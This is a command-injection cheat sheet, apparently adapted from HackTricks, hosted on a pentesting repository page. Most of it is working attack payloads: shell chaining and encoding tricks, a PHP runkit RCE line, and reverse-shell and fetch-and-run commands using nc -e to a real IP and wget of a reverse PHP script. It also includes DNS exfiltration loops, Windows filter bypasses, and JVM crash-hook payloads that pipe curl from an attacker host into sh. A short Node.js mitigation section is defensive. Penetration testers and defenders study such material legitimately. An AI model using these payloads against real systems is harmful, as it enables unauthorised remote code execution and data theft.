repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
command-injection.mdMarkdown294 lines13.5 KiBsource raw download

title: "Command Injection" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/command-injection.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/command-injection.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Command Injection#

What Is Command Injection?#

A command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.[2]

Context#

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.[1]

Command Injection/Execution#

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP rule engines with runkit enabled#

Some applications implement admin-only “rule engines” by executing attacker-supplied PHP. If the environment enables the runkit extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into full PHP RCE.

Indicators:

Abuse example (redefine a function used by the rules to execute a command):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.[7]

Restriction Bypasses#

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Bypass Linux Restrictions

Examples#

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash arithmetic evaluation in RewriteMap/CGI-style scripts#

RewriteMap helpers written in bash sometimes push query params into globals and later compare them in arithmetic contexts ([[ $a -gt $b ]], $((...)), let). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.[9]

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. Params map to globals (st → gStartTime, h → theValue).
  2. Later check:
    if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
        ...
    fi
    
  3. Send st=theValue so gStartTime points to the string theValue.
  4. Send h=gPath['sleep 5'] so theValue contains an array index; during the arithmetic check it runs sleep 5 (swap for a real payload).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Notes:

Parameters#

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):[10]

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration#

Extracting data: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration#

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

Filtering bypass#

Windows#

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux#

See the dedicated Linux restriction-bypass guide for shell, character, and command-construction techniques.

Node.js child_process.exec vs execFile#

When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
  /* … */
});

exec() spawns a shell (/bin/sh -c), so characters with special meaning to that shell (backticks, ;, &&, |, $(), and others) can cause command injection when untrusted input is concatenated into the command string. PHP's proc_open() presents the same risk when passed a shell command string instead of a safely separated argument array.[11]

Mitigation: use execFile() (or spawn() without the shell option) and provide each argument as a separate array element so no shell is involved:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
  '--id_user', id_user,
  '--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).[3]

Argument/Option injection via leading hyphen (argv, no shell metacharacters)#

Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with execve/execFile and no shell), many programs will still parse any argument that begins with - or -- as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.

Typical places where this appears:

What to try:

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks for guaranteed exec#

Any primitive that lets you inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:

  1. Force a deterministic crash by shrinking metaspace or heap: -XX:MaxMetaspaceSize=16m (or a tiny -Xmx). This guarantees an OutOfMemoryError even during early bootstrap.
  2. Attach an error hook: -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" executes an arbitrary OS command whenever the JVM aborts.
  3. Optionally add -XX:+CrashOnOutOfMemoryError to avoid recovery attempts and keep the payload one-shot.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.[5]

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE#

function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);

Brute-Force Detection List#

Command Injection.Txt

References#